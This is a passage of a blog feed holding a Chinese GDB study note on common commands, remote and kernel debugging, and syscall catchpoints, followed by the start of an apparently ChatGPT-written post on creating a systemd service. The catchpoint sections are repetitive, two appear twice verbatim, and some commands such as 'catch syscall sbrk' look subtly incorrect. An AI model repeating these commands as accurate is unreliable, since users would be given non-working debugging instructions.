title=\"常用指令\"\u003e\u003c/a\u003e常用指令\u003c/h2\u003e\u003cp\u003e以下是GDB常用的指令:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ebreak\u003c/code\u003e:设置断点\u003c/li\u003e\u003cli\u003e\u003ccode\u003erun\u003c/code\u003e:运行程序\u003c/li\u003e\u003cli\u003e\u003ccode\u003enext\u003c/code\u003e(简写为\u003ccode\u003en\u003c/code\u003e):执行下一条语句而不进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003estep\u003c/code\u003e(简写为\u003ccode\u003es\u003c/code\u003e):进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003eprint\u003c/code\u003e(简写为\u003ccode\u003ep\u003c/code\u003e):打印表达式的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebacktrace\u003c/code\u003e(简写为\u003ccode\u003ebt\u003c/code\u003e):打印函数调用栈\u003c/li\u003e\u003cli\u003e\u003ccode\u003einfo\u003c/code\u003e:显示各种信息,如变量、寄存器、线程等\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewatch\u003c/code\u003e:设置观察点,当观察的变量被修改时停止程序执行\u003c/li\u003e\u003cli\u003e\u003ccode\u003econtinue\u003c/code\u003e(简写为\u003ccode\u003ec\u003c/code\u003e):继续执行程序直到下一个断点或程序结束\u003c/li\u003e\u003cli\u003e\u003ccode\u003efinish\u003c/code\u003e:执行完当前函数并返回到调用该函数的地方\u003c/li\u003e\u003cli\u003e\u003ccode\u003eset\u003c/code\u003e:设置变量的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003edisplay\u003c/code\u003e:每次停在断点处时自动打印表达式的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003edisable\u003c/code\u003e:禁用断点或观察点\u003c/li\u003e\u003cli\u003e\u003ccode\u003eenable\u003c/code\u003e:启用断点或观察点\u003c/li\u003e\u003cli\u003e\u003ccode\u003edelete\u003c/code\u003e:删除断点或观察点\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"高级功能\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E9%AB%98%E7%BA%A7%E5%8A%9F%E8%83%BD\" class=\"headerlink\" title=\"高级功能\"\u003e\u003c/a\u003e高级功能\u003c/h2\u003e\u003cp\u003e除了常用指令外,GDB还有一些高级功能:\u003c/p\u003e\u003ch3 id=\"多线程调试\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%A4%9A%E7%BA%BF%E7%A8%8B%E8%B0%83%E8%AF%95\" class=\"headerlink\" title=\"多线程调试\"\u003e\u003c/a\u003e多线程调试\u003c/h3\u003e\u003cp\u003eGDB支持多线程调试。可以使用\u003ccode\u003einfo threads\u003c/code\u003e命令查看当前线程列表,使用\u003ccode\u003ethread \u0026lt;id\u0026gt;\u003c/code\u003e命令切换到指定线程,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt; thread \u0026lt;id\u0026gt;\u003c/code\u003e命令在指定线程中设置断点。\u003c/p\u003e\u003cp\u003e例如,我们有一个多线程程序\u003ccode\u003etest\u003c/code\u003e,其中有两个线程\u003ccode\u003ethread1\u003c/code\u003e和\u003ccode\u003ethread2\u003c/code\u003e,我们想在\u003ccode\u003ethread2\u003c/code\u003e中设置断点。首先,使用\u003ccode\u003egdb test\u003c/code\u003e命令启动gdb并加载程序。接着,使用\u003ccode\u003erun\u003c/code\u003e命令运行程序。程序会在主线程中停止,使用\u003ccode\u003einfo threads\u003c/code\u003e命令查看当前线程列表,找到\u003ccode\u003ethread2\u003c/code\u003e的ID。假设\u003ccode\u003ethread2\u003c/code\u003e的ID为2,使用\u003ccode\u003ethread 2\u003c/code\u003e命令切换到\u003ccode\u003ethread2\u003c/code\u003e,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt; thread 2\u003c/code\u003e命令在\u003ccode\u003ethread2\u003c/code\u003e中设置断点。完成后,使用\u003ccode\u003econtinue\u003c/code\u003e命令继续执行程序,程序会在断点处停止。\u003c/p\u003e\u003ch3 id=\"远程调试\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95\" class=\"headerlink\" title=\"远程调试\"\u003e\u003c/a\u003e远程调试\u003c/h3\u003e\u003cp\u003eGDB支持远程调试,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到远程主机,使用\u003ccode\u003efile \u0026lt;path\u0026gt;\u003c/code\u003e加载可执行文件,使用\u003ccode\u003erun\u003c/code\u003e运行程序。\u003c/p\u003e\u003ch3 id=\"调试核心转储文件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E6%A0%B8%E5%BF%83%E8%BD%AC%E5%82%A8%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"调试核心转储文件\"\u003e\u003c/a\u003e调试核心转储文件\u003c/h3\u003e\u003cp\u003e当程序崩溃时,可以使用GDB调试核心转储文件。可以使用\u003ccode\u003ecore \u0026lt;file\u0026gt;\u003c/code\u003e命令加载核心转储文件,使用\u003ccode\u003ebt\u003c/code\u003e命令查看函数调用栈。\u003c/p\u003e\u003ch3 id=\"调试动态链接库\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93\" class=\"headerlink\" title=\"调试动态链接库\"\u003e\u003c/a\u003e调试动态链接库\u003c/h3\u003e\u003cp\u003eGDB可以调试动态链接库,可以使用\u003ccode\u003eset solib-search-path \u0026lt;path\u0026gt;\u003c/code\u003e设置动态链接库搜索路径,使用\u003ccode\u003einfo sharedlibrary\u003c/code\u003e查看已加载的动态链接库,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt;\u003c/code\u003e在动态链接库中设置断点。\u003c/p\u003e\u003ch3 id=\"调试汇编代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"调试汇编代码\"\u003e\u003c/a\u003e调试汇编代码\u003c/h3\u003e\u003cp\u003eGDB可以调试汇编代码,可以使用\u003ccode\u003elayout asm\u003c/code\u003e查看汇编代码窗口,使用\u003ccode\u003estepi\u003c/code\u003e单步执行汇编指令,使用\u003ccode\u003edisassemble \u0026lt;func\u0026gt;\u003c/code\u003e查看函数的汇编代码。\u003c/p\u003e\u003ch3 id=\"调试嵌入式系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%B5%8C%E5%85%A5%E5%BC%8F%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"调试嵌入式系统\"\u003e\u003c/a\u003e调试嵌入式系统\u003c/h3\u003e\u003cp\u003eGDB可以调试嵌入式系统,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到嵌入式系统,使用\u003ccode\u003eset remotebaud \u0026lt;baud\u0026gt;\u003c/code\u003e设置串口波特率,使用\u003ccode\u003emonitor reset\u003c/code\u003e复位嵌入式系统,使用\u003ccode\u003eload\u003c/code\u003e加载可执行文件,使用\u003ccode\u003erun\u003c/code\u003e运行程序。\u003c/p\u003e\u003ch3 id=\"调试内核\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%86%85%E6%A0%B8\" class=\"headerlink\" title=\"调试内核\"\u003e\u003c/a\u003e调试内核\u003c/h3\u003e\u003cp\u003eGDB可以调试内核,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到内核,使用\u003ccode\u003eset architecture \u0026lt;arch\u0026gt;\u003c/code\u003e设置架构,使用\u003ccode\u003eset osabi \u0026lt;osabi\u0026gt;\u003c/code\u003e设置操作系统ABI,使用\u003ccode\u003eset solib-absolute-prefix \u0026lt;path\u0026gt;\u003c/code\u003e设置动态链接库路径,使用\u003ccode\u003eadd-symbol-file \u0026lt;file\u0026gt; \u0026lt;addr\u0026gt;\u003c/code\u003e加载符号文件,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt;\u003c/code\u003e在内核中设置断点。\u003c/p\u003e\u003ch3 id=\"调试追踪系统调用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8\" class=\"headerlink\" title=\"调试追踪系统调用\"\u003e\u003c/a\u003e调试追踪系统调用\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪系统调用,可以使用\u003ccode\u003ecatch syscall \u0026lt;syscall\u0026gt;\u003c/code\u003e设置系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看系统调用断点,使用\u003ccode\u003estepi\u003c/code\u003e单步执行系统调用。\u003c/p\u003e\u003ch3 id=\"调试追踪信号\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"调试追踪信号\"\u003e\u003c/a\u003e调试追踪信号\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号,可以使用\u003ccode\u003ecatch signal \u0026lt;signal\u0026gt;\u003c/code\u003e设置信号断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号断点,使用\u003ccode\u003estepi\u003c/code\u003e单步执行信号处理函数。\u003c/p\u003e\u003ch3 id=\"调试追踪fork和exec\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AAfork%E5%92%8Cexec\" class=\"headerlink\" title=\"调试追踪fork和exec\"\u003e\u003c/a\u003e调试追踪fork和exec\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪fork和exec,可以使用\u003ccode\u003eset follow-fork-mode \u0026lt;mode\u0026gt;\u003c/code\u003e设置fork和exec的跟踪模式,使用\u003ccode\u003ecatch fork\u003c/code\u003e设置fork断点,使用\u003ccode\u003ecatch exec\u003c/code\u003e设置exec断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看fork和exec断点。\u003c/p\u003e\u003ch3 id=\"调试追踪动态内存分配\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E5%8A%A8%E6%80%81%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D\" class=\"headerlink\" title=\"调试追踪动态内存分配\"\u003e\u003c/a\u003e调试追踪动态内存分配\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪动态内存分配,可以使用\u003ccode\u003ecatch syscall brk\u003c/code\u003e设置brk系统调用断点,使用\u003ccode\u003ecatch syscall sbrk\u003c/code\u003e设置sbrk系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看brk和sbrk断点。\u003c/p\u003e\u003ch3 id=\"调试追踪文件操作\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"调试追踪文件操作\"\u003e\u003c/a\u003e调试追踪文件操作\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪文件操作,可以使用\u003ccode\u003ecatch syscall open\u003c/code\u003e设置open系统调用断点,使用\u003ccode\u003ecatch syscall close\u003c/code\u003e设置close系统调用断点,使用\u003ccode\u003ecatch syscall read\u003c/code\u003e设置read系统调用断点,使用\u003ccode\u003ecatch syscall write\u003c/code\u003e设置write系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看文件操作断点。\u003c/p\u003e\u003ch3 id=\"调试追踪网络操作\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E7%BD%91%E7%BB%9C%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"调试追踪网络操作\"\u003e\u003c/a\u003e调试追踪网络操作\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪网络操作,可以使用\u003ccode\u003ecatch syscall socket\u003c/code\u003e设置socket系统调用断点,使用\u003ccode\u003ecatch syscall connect\u003c/code\u003e设置connect系统调用断点,使用\u003ccode\u003ecatch syscall accept\u003c/code\u003e设置accept系统调用断点,使用\u003ccode\u003ecatch syscall send\u003c/code\u003e设置send系统调用断点,使用\u003ccode\u003ecatch syscall recv\u003c/code\u003e设置recv系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看网络操作断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号量和共享内存\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%92%8C%E5%85%B1%E4%BA%AB%E5%86%85%E5%AD%98\" class=\"headerlink\" title=\"调试追踪信号量和共享内存\"\u003e\u003c/a\u003e调试追踪信号量和共享内存\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号量和共享内存,可以使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号量和共享内存断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程间通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"调试追踪进程间通信\"\u003e\u003c/a\u003e调试追踪进程间通信\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程间通信,可以使用\u003ccode\u003ecatch syscall msgget\u003c/code\u003e设置msgget系统调用断点,使用\u003ccode\u003ecatch syscall msgsnd\u003c/code\u003e设置msgsnd系统调用断点,使用\u003ccode\u003ecatch syscall msgrcv\u003c/code\u003e设置msgrcv系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程间通信断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号处理\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E5%A4%84%E7%90%86\" class=\"headerlink\" title=\"调试追踪信号处理\"\u003e\u003c/a\u003e调试追踪信号处理\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号处理,可以使用\u003ccode\u003ecatch syscall sigaction\u003c/code\u003e设置sigaction系统调用断点,使用\u003ccode\u003ecatch syscall sigprocmask\u003c/code\u003e设置sigprocmask系统调用断点,使用\u003ccode\u003ecatch syscall sigsuspend\u003c/code\u003e设置sigsuspend系统调用断点,使用\u003ccode\u003ecatch syscall sigreturn\u003c/code\u003e设置sigreturn系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号处理断点。\u003c/p\u003e\u003ch3 id=\"调试追踪定时器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E5%AE%9A%E6%97%B6%E5%99%A8\" class=\"headerlink\" title=\"调试追踪定时器\"\u003e\u003c/a\u003e调试追踪定时器\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪定时器,可以使用\u003ccode\u003ecatch syscall timer_create\u003c/code\u003e设置timer_create系统调用断点,使用\u003ccode\u003ecatch syscall timer_settime\u003c/code\u003e设置timer_settime系统调用断点,使用\u003ccode\u003ecatch syscall timer_gettime\u003c/code\u003e设置timer_gettime系统调用断点,使用\u003ccode\u003ecatch syscall timer_delete\u003c/code\u003e设置timer_delete系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看定时器断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程状态\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E7%8A%B6%E6%80%81\" class=\"headerlink\" title=\"调试追踪进程状态\"\u003e\u003c/a\u003e调试追踪进程状态\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程状态,可以使用\u003ccode\u003ecatch syscall wait4\u003c/code\u003e设置wait4系统调用断点,使用\u003ccode\u003ecatch syscall waitpid\u003c/code\u003e设置waitpid系统调用断点,使用\u003ccode\u003ecatch syscall waitid\u003c/code\u003e设置waitid系统调用断点,使用\u003ccode\u003ecatch syscall exit\u003c/code\u003e设置exit系统调用断点,使用\u003ccode\u003ecatch syscall _exit\u003c/code\u003e设置_exit系统调用断点,使用\u003ccode\u003ecatch syscall kill\u003c/code\u003e设置kill系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程状态断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号量和共享内存-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%92%8C%E5%85%B1%E4%BA%AB%E5%86%85%E5%AD%98-1\" class=\"headerlink\" title=\"调试追踪信号量和共享内存\"\u003e\u003c/a\u003e调试追踪信号量和共享内存\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号量和共享内存,可以使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号量和共享内存断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程间通信-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1-1\" class=\"headerlink\" title=\"调试追踪进程间通信\"\u003e\u003c/a\u003e调试追踪进程间通信\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程间通信,可以使用\u003ccode\u003ecatch syscall msgget\u003c/code\u003e设置msgget系统调用断点,使用\u003ccode\u003ecatch syscall msgsnd\u003c/code\u003e设置msgsnd系统调用断点,使用\u003ccode\u003ecatch syscall msgrcv\u003c/code\u003e设置msgrcv系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程间通信断点。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"Linux添加自定义服务","time":"2023-03-13T13:06:51Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e本文由chatGPT生成,看了下没啥问题\u003cbr/\u003e别问为啥不自己写,问就是懒(\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在Linux中,您可以通过添加自定义服务文件来将自定义脚本作为服务启动。下面是添加自定义服务文件的一般步骤:\u003c/p\u003e\u003col\u003e\u003cli\u003e创建一个新的服务文件\u003cbr/\u003e在/etc/systemd/system目录中创建一个新的服务文件,文件名以.service结尾。例如,如果您想创建一个名为my-service的服务文件,可以使用以下命令:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo vi /etc/systemd/system/my-service.service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e编写服务文件\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在创建的服务文件中,至少需要包含以下三个部分:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[Unit]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDescription=My Custom Service\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAfter=network.target\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[Service]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUser=root\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eType=simple\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eExecStart=/path/to/my-script\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[Install]\u003c/span\u003e\u003cbr/\u003e\u003cspan 